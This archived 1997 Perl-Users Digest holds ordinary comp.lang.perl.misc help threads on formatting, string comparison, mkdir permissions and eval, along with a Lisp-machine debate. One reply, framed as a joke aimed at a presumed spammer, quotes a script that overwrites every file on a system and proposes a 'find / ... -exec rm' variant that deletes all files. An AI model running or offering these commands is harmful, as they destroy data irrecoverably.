[6713] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 337 Volume: 8

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Mon Apr 21 17:17:25 1997

Date: Mon, 21 Apr 97 14:00:46 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Mon, 21 Apr 1997     Volume: 8 Number: 337

Today's topics:
     Re: == equality comparism <eryq@enteract.com>
     Re: [Q] leading zeroes for a dollar amount (Mike Stok)
     Re: [Q] leading zeroes for a dollar amount (Tim Gim Yee)
     Re: Again - ? Can I make small modal window (Eric D. Friedman)
     Best Perl shareware program & tutorial for Dos/Windows  <sr71@hotmail.com>
     Re: C++Builder means Future. ()
     Re: cgi security - how to protect data from local cgi-s <sanford@halcyon.com>
     Re: Error message? <eryq@enteract.com>
     Re: getpw*() and getgr*() on an a non-standard file? <rootbeer@teleport.com>
     How to expand a variable in a string? (Petr Prikryl)
     Re: How to track memory usage <rootbeer@teleport.com>
     Re: Lisp is neither (was Re: Ousterhout and Tcl lost th (Henry Baker)
     Re: Lisp is neither (was Re: Ousterhout and Tcl lost th <prasadm@polaroid.com>
     Re: Lisp is neither (was Re: Ousterhout and Tcl lost th (Christopher J. Vogt)
     Re: Lisp is neither (was Re: Ousterhout and Tcl lost th <bear@sonic.net>
     Re: Lisp is neither (was Re: Ousterhout and Tcl lost th <ron@sensor.com>
     Re: Ousterhout and Tcl lost the plot with latest paper <thant@nospam.acm.org>
     Re: Perl as its own metalanguage? <eryq@enteract.com>
     Re: Perl as its own metalanguage? <eryq@enteract.com>
     perl mkdir produces weird permissions <anderson@necsys.gsfc.nasa.gov>
     Re: PERL Programmer Needed for Small Project <gwhassan@prodigy.net>
     Re: PERL Programmers...Need your opinions (Jon Bell)
     Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Mon, 21 Apr 1997 14:13:11 -0500
From: Eryq <eryq@enteract.com>
To: THIAM YEO <n1835173@sparrow.qut.edu.au>
Subject: Re: == equality comparism
Message-Id: <335BBC47.4EE5B807@enteract.com>


THIAM YEO wrote:
> 
> Hi there!
> 
>   Does Perl have the opposite of the equality comparism ==? != and <>
> doesn't seems to work.

!=   is numeric inequality

	if ($a != 3) { ... }

ne   is string inequality

	if ($a ne "Fred") { ... }

-- 
  ___  _ _ _   _  ___ _   Eryq (eryq@enteract.com)
 / _ \| '_| | | |/ _ ' /  Hughes STX, NASA/Goddard Space Flight Cntr.
|  __/| | | |_| | |_| |   http://www.enteract.com/~eryq
 \___||_|  \__, |\__, |___/\  Visit STREETWISE, Chicago's newspaper by/
           |___/    |______/ of the homeless: http://www.streetwise.org


------------------------------

Date: 21 Apr 1997 16:59:10 GMT
From: mike@stok.co.uk (Mike Stok)
Subject: Re: [Q] leading zeroes for a dollar amount
Message-Id: <5jg6cu$o4d@news-central.tiac.net>

In article <5jg1q6$p4i$1@news.greatbasin.net>,
Ben Guerard <ben@gbfcu.reno.nv.us> wrote:
>Hi,
>
>Small asthetics problem here, folks...
>
>I have an order form script that works fine EXCEPT whenever the cents portion 
>of the price ends in a zero (i.e. $6.30) the ouput truncates the trailing zero 
>[as one would expect] (i.e. $6.3).  I'd really like to add that zero.  I've 
>tried Math::BigFloat, but it's not giving me what I want (not even close).  I 
>can make a cheesy workaround, but I'd rather not "force" the zero if I can come 
>up with it more gracefully.  Any and all help would be greatly 
>appreciated.  Thanks for your time.

You might just want to use sprintf to format the value e.g.

  $amt = sprintf ('%0.2f', $amt);

  print "Total is \$$amt\n";

or you could use perl's formatted output capability (look up write and
format in any good perl book or manual page set...)

Hope this helps,

Mike

-- 
mike@stok.co.uk                    |           The "`Stok' disclaimers" apply.
http://www.stok.co.uk/~mike/       |   PGP fingerprint FE 56 4D 7D 42 1A 4A 9C
http://www.tiac.net/users/stok/    |                   65 F3 3F 1D 27 22 B7 41
stok@psa.pencom.com                |      Pencom Systems Administration (work)


------------------------------

Date: Mon, 21 Apr 1997 17:30:16 GMT
From: tgy@chocobo.org (Tim Gim Yee)
Subject: Re: [Q] leading zeroes for a dollar amount
Message-Id: <335ba283.6195298@news.seanet.com>

On 21 Apr 1997 15:40:53 GMT, ben@gbfcu.reno.nv.us (Ben Guerard) wrote:

>Hi,
>
>Small asthetics problem here, folks...
>
>I have an order form script that works fine EXCEPT whenever the cents portion 
>of the price ends in a zero (i.e. $6.30) the ouput truncates the trailing zero 
>[as one would expect] (i.e. $6.3).  I'd really like to add that zero.

Give printf or sprintf a try.

$total = 6.30;
printf "Total: \$%.2f", $total;

or 

$total = sprintf "%.2f", $total;


-- Tim Gim Yee             tgy@chocobo.org
http://www.dragonfire.net/~tgy/moogle.html
"Will hack perl for a moogle stuffy, kupo!"


------------------------------

Date: 21 Apr 1997 18:05:14 GMT
From: friedman@medusa.acs.uci.edu (Eric D. Friedman)
Subject: Re: Again - ? Can I make small modal window
Message-Id: <5jga8q$a0e@news.service.uci.edu>

In article <01bc4e60$45742dc0$b2ebaec7@cactus>,
Geoff Mottram <minaret@sprynet.com> wrote:
>> I know how to do this with a form. It's the small modal window, that I
>> don't know how to do. I've seen this done at the following website, and
>> it seems they are using a perl script (valuser.pl) to do it.  Or is
>> their perl program probably embedding javascript to make the dialog box?
>
>You will need to use JavaScript.

Actually the site the original poster referenced seems to be using
htaccess control, but since that subject isn't appropriate for this
newgroup I'll say no more.

-- 
Eric D. Friedman
friedman@uci.edu


------------------------------

Date: Mon, 21 Apr 1997 18:30:57 GMT
From: Captain Blue <sr71@hotmail.com>
Subject: Best Perl shareware program & tutorial for Dos/Windows ?????
Message-Id: <1997Apr21.183057.64213@ucl.ac.uk>

Sirs,
I mainly work in a non-Unix environment and am looking for the best
Perl shareware program for a Dos/Windows platform along with a 
semi-decent tutorial. The FAQ gives some suggestions but I am not sure
which would /is  has the shortest learning curve and the most useful in 
overall performance.
Any help would be most graciously received. Thanks a bundle.

All good wishes,

CB.




------------------------------

Date: 21 Apr 1997 16:15:30 GMT
From: scott@lighthouse.softbase.com ()
Subject: Re: C++Builder means Future.
Message-Id: <5jg3r2$a4p$1@mainsrv.main.nc.us>

34110s96@student.csi.cuny.edu wrote:
: I just got C++Builder and I have never seen a powerful RAD tool like
: this  one.  Forget about the Visual Crap.  C++Builder is the King of the
: Hill and not Marketing hype of Microsoft.  

: Any comments are welcome. 
: Delphi is the definition of RAD
: C++Builder is the future.

JBuilder is the future, because it will create platform-indpendent
Java GUI programs.

Scott



------------------------------

Date: 21 Apr 1997 11:45:19 -0700
From: Sanford Morton <sanford@halcyon.com>
Subject: Re: cgi security - how to protect data from local cgi-server shell users?
Message-Id: <m3pvvo43lr.fsf@darkstar.frop.org>

Although I wasn't sure from your post, I assume you mean that your cgi
script needs read and execute permissions and it writes to data files
which need write and maybe read permissions. You want to prevent other
users on your system reading or writing to these files.

If your server runs as user nobody in group nobody, you can set the
relevant files and directories to something like permissions 707. This
will deny other users (in group users) access while permitting you and
the server access.

This is only very mild security, since other users can write a cgi
script to poke around among these files and write to them just as the
server does. It only makes it a little harder, just the sort of
challenge that will attract some. Server access logs won't leave much
of a trail.

You might try backing up the data files. Your script could mail to an
account which uses procmail and another script to process and save
each form submission, with permissions 700. A cron or at job could
also regularly check the integrity of your data, comparing it to this
backup. This would be a lot more secure, but I doubt it can be made
bulletproof.

--------
Sanford Morton, Ph.D.                           CGI Resources
sanford@halcyon.com       http://www.halcyon.com/sanford/cgi/



------------------------------

Date: Mon, 21 Apr 1997 13:35:29 -0500
From: Eryq <eryq@enteract.com>
To: korey@oakweb.com
Subject: Re: Error message?
Message-Id: <335BB371.30CBE25A@enteract.com>

Korey wrote:
> 
> I hope someone has a explanation for this.
> 
> Keep getting server error 500
> Message: CGI output from c:/servers/tsireps/cgi-shl/hello.pl contained
> no
> blank line separating header and data (most likely a broken CGI program)
> 
> This is just a simple one line program trying to run on a WIN NT Server.
> 
> Any Suggestions?

Try comp.infosystems.www.authoring.cgi .

-- 
  ___  _ _ _   _  ___ _   Eryq (eryq@enteract.com)
 / _ \| '_| | | |/ _ ' /  Hughes STX, NASA/Goddard Space Flight Cntr.
|  __/| | | |_| | |_| |   http://www.enteract.com/~eryq
 \___||_|  \__, |\__, |___/\  Visit STREETWISE, Chicago's newspaper by/
           |___/    |______/ of the homeless: http://www.streetwise.org


------------------------------

Date: Mon, 21 Apr 1997 11:07:04 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: "J. Trudel" <jdt@insight.att.com>
Subject: Re: getpw*() and getgr*() on an a non-standard file?
Message-Id: <Pine.GSO.3.96.970421104934.917G-100000@kelly.teleport.com>

On Thu, 17 Apr 1997, J. Trudel wrote:

> I'm interested in maintaining a set of files that contain 
> password and group information (missing the passwords,
> presumably) for several types of systems - Sun, SGI, and HP,
> to be precise.  I'd like to be able to control user UIDs
> and GIDs to be common across these platforms, as much as 
> possible.  I'm already doing it successfully for a while
> with a shell script, but it's turned into a bit of a mess
> when it comes to updates, account closures, etc.  
> 
> Rather than update the script to give it better functionality,
> I want to rewrite it in Perl and I was hoping to use the 
> getpw.../setpw... and getgr.../setgr... functions to do this, 
> but it doesn't look like they can do what I need.  

That's right; they simply tap into your system's library functions. You
probably want to look in CPAN for a module to do what you want. If there
isn't one already, you're welcome to submit one. :-)  Hope this helps!

   http://www.perl.org/CPAN/
   http://www.perl.com/CPAN/

-- Tom Phoenix        http://www.teleport.com/~rootbeer/
rootbeer@teleport.com   PGP  Skribu al mi per Esperanto!
Randal Schwartz Case:     http://www.lightlink.com/fors/




------------------------------

Date: 21 Apr 1997 17:31:55 GMT
From: prikryl@dcse.fee.vutbr.cz (Petr Prikryl)
Subject: How to expand a variable in a string?
Message-Id: <5jg8ab$5dd$1@boco.fee.vutbr.cz>


Hi all,

I have read a string into my variable $str. The string may be something
like this:
           "some text $variable and some text again"

i.e. there is a sequence of characters with the `$' at the beginning of
what looks like the name of variable. Let's assume I have the variable
of the same name. How can I expand the string while replacing the
substring "$variable" by the content of the $variable?

I mean, when:   $variable = "HELLO";
then the string will be "some text HELLO and some text again" after.

I expect this to be fairly easy, I just have no idea :-|

Thank you for the information,

Petr

--
Petr Prikryl (prikryl@dcse.fee.vutbr.cz)   http://www.fee.vutbr.cz/~prikryl/
TU of Brno, Dept. of Computer Sci. & Engineering;    tel. +420-(0)5-7275 218


------------------------------

Date: Mon, 21 Apr 1997 11:10:09 -0700
From: Tom Phoenix <rootbeer@teleport.com>
To: Ed Mahr <mahr@ibmoto.com>
Subject: Re: How to track memory usage
Message-Id: <Pine.GSO.3.96.970421110828.917I-100000@kelly.teleport.com>

On 17 Apr 1997, Ed Mahr wrote:

> Does anyone know of a way to track the amount of memory a Perl script is
> using at various points during the scripts execution?
> 
> On a related note, is there a good method or utility for tracking memory
> leaks in Perl?

I'm no expert, but I believe that recent versions of Perl can be compiled
with a version of Perl's malloc which has a few options which can be
turned on to do this. Check the docs on the most recent sub-version you
can find. Hope this helps! 

-- Tom Phoenix        http://www.teleport.com/~rootbeer/
rootbeer@teleport.com   PGP  Skribu al mi per Esperanto!
Randal Schwartz Case:     http://www.lightlink.com/fors/



------------------------------

Date: Mon, 21 Apr 1997 18:37:55 GMT
From: hbaker@netcom.com (Henry Baker)
Subject: Re: Lisp is neither (was Re: Ousterhout and Tcl lost the plot)
Message-Id: <hbaker-2104971037550001@10.0.2.1>

In article <5jg060$q3f$1@news.utdallas.edu>, mharriso@utdallas.edu (Mark A
Harrison) wrote:
> Lisp machines died because their
> functionality was supplanted by other more general purpose machines.
> 
> Example: My former roomate (mid-80's) was a chip designer.  He had
> two giant systems on his desk, a lisp machine (TI Explorer?) and
> an Apollo.  He was always complaining about how inconvenient it
> was that part of his work was done on the lisp machine (chip design)
> and that the rest was done on the Apollo (word processing, email,
> manufacturing apps).  When their software group was able to port
> their applications to the same box their other applications ran
> on, they dropped the lisp machine without hesitation.

This is complete BS.  The lisp machines had fabulous email systems,
and Symbolics went to a great deal of trouble to make TeX run on its
Lisp Machine.  The Symbolics Lisp Machine documentation was generated and
edited on Lisp Machines.  Perhaps TI bought the wrong Lisp Machines ?  ;-) ;-)

A number of the features of Emacs the people know and love today were first
developed and used on Lisp Machines.  Much of the productivity of Symbolics
customer service depended upon a sophisticated email system.

You can argue about whether a machine as expensive as the Symbolics Lisp
Machines should have been doing email, but that is an entirely different
question from whether they did it.  Yes, they did.


------------------------------

Date: Mon, 21 Apr 1997 14:01:24 -0400
From: "M. Prasad" <prasadm@polaroid.com>
Subject: Re: Lisp is neither (was Re: Ousterhout and Tcl lost the plot)
Message-Id: <335BAB74.458F@polaroid.com>

Henry Baker wrote:
> 
> In article <5jg060$q3f$1@news.utdallas.edu>, mharriso@utdallas.edu (Mark A
> Harrison) wrote:
> > Lisp machines died because their
> > functionality was supplanted by other more general purpose machines.
> >
> > Example: My former roomate (mid-80's) was a chip designer.  He had
> > two giant systems on his desk, a lisp machine (TI Explorer?) and
> > an Apollo.  He was always complaining about how inconvenient it
> > was that part of his work was done on the lisp machine (chip design)
> > and that the rest was done on the Apollo (word processing, email,
> > manufacturing apps).  When their software group was able to port
> > their applications to the same box their other applications ran
> > on, they dropped the lisp machine without hesitation.
> 
> This is complete BS.  The lisp machines had fabulous email systems,

If this experience is BS, what is the truth?  Why _did_
the Lisp machines die?  People keep blaming "marketing", but
did LMI/Symbolics founders not have enough smarts or the money
to hire some good marketing people?  I would doubt either
of these two was the case.

Or maybe the machines were just too expensive to produce,
to be able to sell them successfully.


------------------------------

Date: Mon, 21 Apr 1997 14:24:29 -0500
From: vogt@novia.net (Christopher J. Vogt)
Subject: Re: Lisp is neither (was Re: Ousterhout and Tcl lost the plot)
Message-Id: <vogt-2104971424290001@204.248.25.27>

In article <5jg060$q3f$1@news.utdallas.edu>, mharriso@utdallas.edu (Mark A
Harrison) wrote:

Try as I might not to reply to this, I just can't resist.  I admit it, I'm weak.

> Erik Naggum (erik@naggum.no) wrote:
> 
> : the Lisp Machines died for reasons totally unrelated to quality.  actually,
> : they died for the same reason that mind-bogglingly inferior systems won.
> : the answer is a single word: "marketing".
> 
> I don't think this is true...  Lisp machines died because their
> functionality was supplanted by other more general purpose machines.

Exactly what functionality is it that can't be implemented on a LispM? 
Word processing?  email?  IMHO Eric is right, LispMs died to to
marketing.  Marketing is more than just advertisements in newspapers and
magazines.  Where marketing did in the LispM was in not getting
applications developed for the LispM, not pricing LispMs competively with
Suns and in selling LispMs as "Special Purpose Machines", ie. not "General
Purpose Machines".  

> 
> Example: My former roomate (mid-80's) was a chip designer.  He had
> two giant systems on his desk, a lisp machine (TI Explorer?) and
> an Apollo.  He was always complaining about how inconvenient it
> was that part of his work was done on the lisp machine (chip design)
> and that the rest was done on the Apollo (word processing, email,
> manufacturing apps).  When their software group was able to port
> their applications to the same box their other applications ran
> on, they dropped the lisp machine without hesitation.
> 
> In other words:  Marketing didn't kill lisp machines... Good lisp
> environments that ran on general-purpose computers killed
> lisp machines.

Not that I have seen it all, and I won't make any generalization here, but
*I* have yet to use a Lisp development environment that supported me as
well as Symbolics Genera did, and we're talking 15 year old technology
here!  If it were practical for me to use Genera right now, I would.  I
suspect that I'm not alone in feeling this way.

-- 
mailto:vogt@novia.net
Omaha, NE
http://www.novia.net/~vogt/


------------------------------

Date: Mon, 21 Apr 1997 11:52:05 -0700
From: Ray Dillinger <bear@sonic.net>
Subject: Re: Lisp is neither (was Re: Ousterhout and Tcl lost the plot)
Message-Id: <335BB755.4B88@sonic.net>

Henry Baker wrote:
> 
> In article <5jg060$q3f$1@news.utdallas.edu>, mharriso@utdallas.edu (Mark A
> Harrison) wrote:

> > Example: My former roomate (mid-80's) was a chip designer.  He had
> > two giant systems on his desk, a lisp machine (TI Explorer?) and
> > an Apollo.  He was always complaining about how inconvenient it
> > was that part of his work was done on the lisp machine (chip design)
> > and that the rest was done on the Apollo (word processing, email,
> > manufacturing apps).  

> This is complete BS.  The lisp machines had fabulous email systems,
> and Symbolics went to a great deal of trouble to make TeX run on its
> Lisp Machine.  

Lisp machines may have had fabulous email systems, but how much good 
does that do if the rest of the company is running on *another* email 
system?  You want to buy lisp machines for every secretary and marketing 
rep, just so they can all use the same email system?

And who told you that TeX was an acceptable format for WP documents in 
that company?

I realize this sounds goofy today, when email is 99+% IP/SMTP and every 
system that supports email supports that standard, but even today you get 
similar problems when some schmoe decides to run a braindead product like 
MS-Mail -- every UNIX user on the system then has to either get a bitty 
box crippled with an MS operating system or scream in rage at what MS-mail 
does to the formatting as it makes its pathetic attempt to convert to
"standard" email format.  Normally this is a mere annoyance, but if part 
of the mail you're passing is sourcecode, getting the format hashed or 
unexpected line breaks or quote characters inserted can kill you.

If everybody else in the company was running some proprietary email system 
and the lisp machine/software wasn't compatible with it (PC-pursuit anyone?
or FIDOmail? ) then it really doesn't matter how good the lisp machine's 
email facilities are/were.

In exactly the same way, it doesn't matter how good any language is, if 
it can't call out to the compiled C code that everyone else in the company 
is writing and produce compiled modules that can be called from the C 
that everyone else in the company is writing.  Being good isn't enough; 
email systems and development tools also have to fit in their environment.

					Bear



					Bear


------------------------------

Date: Mon, 21 Apr 1997 14:41:10 -0400
From: Ron Natalie <ron@sensor.com>
Subject: Re: Lisp is neither (was Re: Ousterhout and Tcl lost the plot)
Message-Id: <335BB4C6.66DF@sensor.com>

>> This is complete BS.  The lisp machines had fabulous email systems,

Yep, and they were really great at telling you how many machines
were available on the 7th floor and all sorts of stupid MIT-isms
that made the whole thing look like your typical student kludge.

> If this experience is BS, what is the truth?  Why _did_
> the Lisp machines die? 

I don't think the market was there.  At the time the commercial
lisp machines were coming out there were also a number of decent
lisps available for the General Purpose machines.  Workstations
clobbered the Lisp Machine and Mini market just as PC's are beginning
to wack away at the workstation market.

-Ron


------------------------------

Date: Mon, 21 Apr 1997 09:58:11 -0700
From: Thant Tessman <thant@nospam.acm.org>
Subject: Re: Ousterhout and Tcl lost the plot with latest paper
Message-Id: <335B9CA3.41C6@nospam.acm.org>


Brian Rogoff wrote:

> In Wirth's opinion, and the opinion of many reputable linguists like
> Steven Pinker, the analogy betweem formal notations :-) and human
> languages is bogus. "Spoken" is the key point to consider.

I'm only about a third of the way through Pinker's book (The Language 
Instinct?), but I haven't picked this up at all.    Language is the structure 
upon which one hangs meaning.  If one is careful to keep separate the concept 
of meaning from the concept of language structure, and if one acknowledges 
that humans have an ability to perceive and invent novel structure that 
computers don't have (hence the greater need for formalism when dealing with 
computers), then I don't think it would be a lie to say that there is no 
*qalitative* difference between human languages and programming languages.  
(But those are of course very big qualifications.)

And as for Logajan's original post about subject/verb/object structure
being more natural, the other thing I've gotten out of Pinker's book is 
that human languages can and do have an extremely wide variety of structures, 
and that what is 'natural' about human languages is not any particular 
structure, but the aforementioned ability to perceive and invent structure.

To put it simply, what I've gotten out of the book so far is that the biggest
difference between spoken languages and programming languages is that the 
former are a *lot* more interesting.  (Unfortunately, the latter pays better.)

Obligatory Ousterhout slam:  The argument I hate the most from people is "X 
is better than Y because more people use X than Y."   This argument is 
particularly infuriating when it comes from people like Ousterhout and 
Stroustrup and Gates because they are clearly content to perpetuate people's 
ignorance of superior alternatives, thus protecting their trump-card argument.  
(Not that it's their job to inform people of superior alternatives.)

One more note:  Erik Naggum keeps writing stuff that I agree with, but in a 
way that I wish I didn't.

-thant


------------------------------

Date: Mon, 21 Apr 1997 12:32:50 -0500
From: Eryq <eryq@enteract.com>
To: "Terrence M. Brannon" <brannon@bufo.usc.edu>
Subject: Re: Perl as its own metalanguage?
Message-Id: <335BA4C2.6DF60FCD@enteract.com>


Terrence M. Brannon wrote:
> 
> I was going through a book on Prolog and realized that all the
> features of Prolog that the author described which make it a
> metalanguage for itself also apply to Perl:

>         * a program can create new goals by computation and
>         then execute them.

You mean eval() in Perl (or Lisp, for that matter).

> 
>         * a program can examine itself and modify itself

Hmmm, not as true for Perl as it is for Prolog.  In Prolog, the
only global "data" are the rules and assertions (and the latter
can arguably be said to be a special case of the former, BTW). 
Since the rule-base is also the program itself, there is a reeeeeeeal
blurry line between the two, and the assert() operator(s) can be
used to alter the nature of the program.

As for a Perl program examining itself: apart from looking at the
symbol table, you don't often see this done.  At least, I can't
think of any program I've ever seen that looks at its own bytecode.  

Now yes, a Perl program can modify itself, but typically
this done to eval subroutines into existence at run-time, 
usually for efficiency (and don't get me wrong; this is pretty
powerful if you want to create a tight, fast-running sort comparison
function on the fly based on user input).

I used to write self-modifying hex code for the 6502 chip, BTW.
Debugging was a b*tch.  Reaching into one's own skull 
and fiddling with the grey matter is not always a good thing...



>         * by declaring operators, a program can even change the
>         syntax of the language itself (not sure on this one)

Well, there's OVERLOAD, but in general you don't see people
declaring *new* operators (I could be wrong, though).  In Prolog,
if you decided that you wanted a binary operator called

	==?==

then by gum, you could create one.  I don't need to tell you that
there are *very* strong feelings both for and against this power
(against being that the above operator name isn't self-descriptive,
the way a simple function name would be). 
	

>         * Prolog programs can extend and modify the inference
>         engine that controls program execution. Perl can create
>         any number of control structures via redo, last, next

Apples and oranges.  You're comparing a Prolog feature that literally
changes the way the interpreter works (I'm assuming that they mean
the inference engine itself, and not just the layer of rules that
it acts upon) with ordinary control structures.

However, if you had compared it with Perl's pragmatic modules and
constructs (like "use integer", "use strict", etc.), you'd be
closer to the mark. 


> 
>         * As a sidenote he says: Prolog blurs the distinction
>         between program and data.

I think in this regard, Prolog is in the class of "most blurry",
Lisp/Scheme the next class down, and Perl somewhere between them 
and C/C++.
  
But hey, so what if Perl isn't really its own metalanguage.  
Purity and power don't always go hand in hand...

Regards,
-- 
  ___  _ _ _   _  ___ _   Eryq (eryq@enteract.com)
 / _ \| '_| | | |/ _ ' /  Hughes STX, NASA/Goddard Space Flight Cntr.
|  __/| | | |_| | |_| |   http://www.enteract.com/~eryq
 \___||_|  \__, |\__, |___/\  Visit STREETWISE, Chicago's newspaper by/
           |___/    |______/ of the homeless: http://www.streetwise.org


------------------------------

Date: Mon, 21 Apr 1997 12:33:00 -0500
From: Eryq <eryq@enteract.com>
To: "Terrence M. Brannon" <brannon@bufo.usc.edu>
Subject: Re: Perl as its own metalanguage?
Message-Id: <335BA4CC.29DC5D15@enteract.com>


Terrence M. Brannon wrote:
> 
> I was going through a book on Prolog and realized that all the
> features of Prolog that the author described which make it a
> metalanguage for itself also apply to Perl:

>         * a program can create new goals by computation and
>         then execute them.

You mean eval() in Perl (or Lisp, for that matter).

> 
>         * a program can examine itself and modify itself

Hmmm, not as true for Perl as it is for Prolog.  In Prolog, the
only global "data" are the rules and assertions (and the latter
can arguably be said to be a special case of the former, BTW). 
Since the rule-base is also the program itself, there is a reeeeeeeal
blurry line between the two, and the assert() operator(s) can be
used to alter the nature of the program.

As for a Perl program examining itself: apart from looking at the
symbol table, you don't often see this done.  At least, I can't
think of any program I've ever seen that looks at its own bytecode.  

Now yes, a Perl program can modify itself, but typically
this done to eval subroutines into existence at run-time, 
usually for efficiency (and don't get me wrong; this is pretty
powerful if you want to create a tight, fast-running sort comparison
function on the fly based on user input).

I used to write self-modifying hex code for the 6502 chip, BTW.
Debugging was a b*tch.  Reaching into one's own skull 
and fiddling with the grey matter is not always a good thing...



>         * by declaring operators, a program can even change the
>         syntax of the language itself (not sure on this one)

Well, there's OVERLOAD, but in general you don't see people
declaring *new* operators (I could be wrong, though).  In Prolog,
if you decided that you wanted a binary operator called

	==?==

then by gum, you could create one.  I don't need to tell you that
there are *very* strong feelings both for and against this power
(against being that the above operator name isn't self-descriptive,
the way a simple function name would be). 
	

>         * Prolog programs can extend and modify the inference
>         engine that controls program execution. Perl can create
>         any number of control structures via redo, last, next

Apples and oranges.  You're comparing a Prolog feature that literally
changes the way the interpreter works (I'm assuming that they mean
the inference engine itself, and not just the layer of rules that
it acts upon) with ordinary control structures.

However, if you had compared it with Perl's pragmatic modules and
constructs (like "use integer", "use strict", etc.), you'd be
closer to the mark. 


> 
>         * As a sidenote he says: Prolog blurs the distinction
>         between program and data.

I think in this regard, Prolog is in the class of "most blurry",
Lisp/Scheme the next class down, and Perl somewhere between them 
and C/C++.
  
But hey, so what if Perl isn't really its own metalanguage.  
Purity and power don't always go hand in hand...

Regards,
-- 
  ___  _ _ _   _  ___ _   Eryq (eryq@enteract.com)
 / _ \| '_| | | |/ _ ' /  Hughes STX, NASA/Goddard Space Flight Cntr.
|  __/| | | |_| | |_| |   http://www.enteract.com/~eryq
 \___||_|  \__, |\__, |___/\  Visit STREETWISE, Chicago's newspaper by/
           |___/    |______/ of the homeless: http://www.streetwise.org


------------------------------

Date: 21 Apr 1997 11:59:55 -0400
From: Ken Anderson <anderson@necsys.gsfc.nasa.gov>
Subject: perl mkdir produces weird permissions
Message-Id: <y7xwwpwicxw.fsf@necsys.gsfc.nasa.gov>

Hi again,

i was trying to use the perl mkdir function and
am winding up with weird permissions on the directory.

	mkdir filename,mode

Camel book says that it will be made "with permissions
set by mode (as modified by the current masks)." 

Well, this is rather vague and the behaviour is not
at all obvious.  eg. 

on a process with the umask as 022

mkdir filex,777   gives   d-----x--x   filex

mkdir filex,000   gives   d---------   filex

mkdir filex,333   gives   dr-x--xr-x   filex

mkdir filex,111   gives   d--xr-xr-x   filex

mkdir filex,755   gives   d-wxr----x   filex


does this make sense to anybody?

-- 

	The earth is spinning madly through space and I
	sit in front of a TV screen all bloody day.
--------------------------------------------------------------------
Kenneth Anderson                |    Code631 Astrophysics Data Facility
Hughes STX                      |    email: anderson@ssvs.gsfc.nasa.gov
Goddard Space Flight Center     |    ph:    301 286 1375
Greenbelt, MD                   |
--------------------------------------------------------------------


------------------------------

Date: Mon, 21 Apr 1997 09:14:32 +0000
From: Greg Hassan <gwhassan@prodigy.net>
Subject: Re: PERL Programmer Needed for Small Project
Message-Id: <335B2FF8.303C47A3@prodigy.net>

Kevin Buhr wrote:
> 
 
> This Perl script should do the trick:
> 
> #!/usr/bin/perl
> open(LIST, "find / -type f -print|") or die;
> while(<LIST>) {
>    open(OUT, ">$_") and do { print OUT "I am a spammer!\n"; close OUT };
> }
> close LIST;
> 

for an extra $50 you should change it a bit:

> open(LIST, "find / -type f -exec rm {} -print|") or die;

you really need that extra bit if you are running it
on multiple servers.

-Greg
-- 
============================================
                Greg Hassan
          The Independent Solution
 Web Developer (CGI, Java, C, Perl, Oracle)
           http://www.hassan.com/        
    gwhassan@prodigy.net, 1-415-969-5856
============================================


------------------------------

Date: Mon, 21 Apr 1997 16:01:47 GMT
From: jtbell@presby.edu (Jon Bell)
Subject: Re: PERL Programmers...Need your opinions
Message-Id: <E8zwJ0.8HL@presby.edu>

 Jerry Bradenbaugh <bradenb@ibm.net> wrote:
>
>As PERL programmers, please tell me what types of programs you write and
>anything else helpful to know in becoming a PERL programmer.

I use Perl to write programs that automate various UNIX system 
administration tasks, so I don't have to do the same things over and over 
and over again.  It's also good for generating reports from log files and 
the like (it's not known as Practical Extraction and Report Language for 
nothing!).  My big project with it right now is writing a set of programs 
for automatically moderating a newsgroup.  All this is incidental to my 
"real" job, which is teaching physics and a bit of computer science.

My most important piece of advice for anyone who wants to become a 
programmer is:

          "Programming is not done in a vacuum."

Programming is not an end in itself.  It's a tool for solving problems.  
In order to solve problems by writing computer programs, you not only 
need to know a programming language, you also have to understand the 
problem itself.  This means that you have to know something about the 
subject matter that the problem is part of.  The $64 term for this is 
"domain knowledge."

So, in order to get a decent job that involves programming, you need to
know something about at least one "domain area".  Otherwise, you have to
depend on someone (who may be called an "analyst") to tell you what your
program is supposed to do. 

To make my advice more concrete:  pick a "domain area" and make yourself
an expert (or at least be able to play one on TV), in addition to learning
Perl inside out.  Then you can sell yourself as an expert in <mumble> who
also happens to be a good programmer, rather than just as a Perl 
programmer.

-- 
Jon Bell <jtbell@presby.edu>                        Presbyterian College
Dept. of Physics and Computer Science        Clinton, South Carolina USA
[for beginner's Usenet info, see http://web.presby.edu/~jtbell/usenet/ ]

[    Vote YES to moderate news.newusers.questions!  Vote by May 8 1997  ]
[    The ballot can be found at news:861310314.10268@isc.org (browser)  ]
[    or email mailto:bostwick@cas.chemistry.gatech.edu and request one  ]


------------------------------

Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V8 Issue 337
*************************************

home help back first fref pref prev next nref lref last post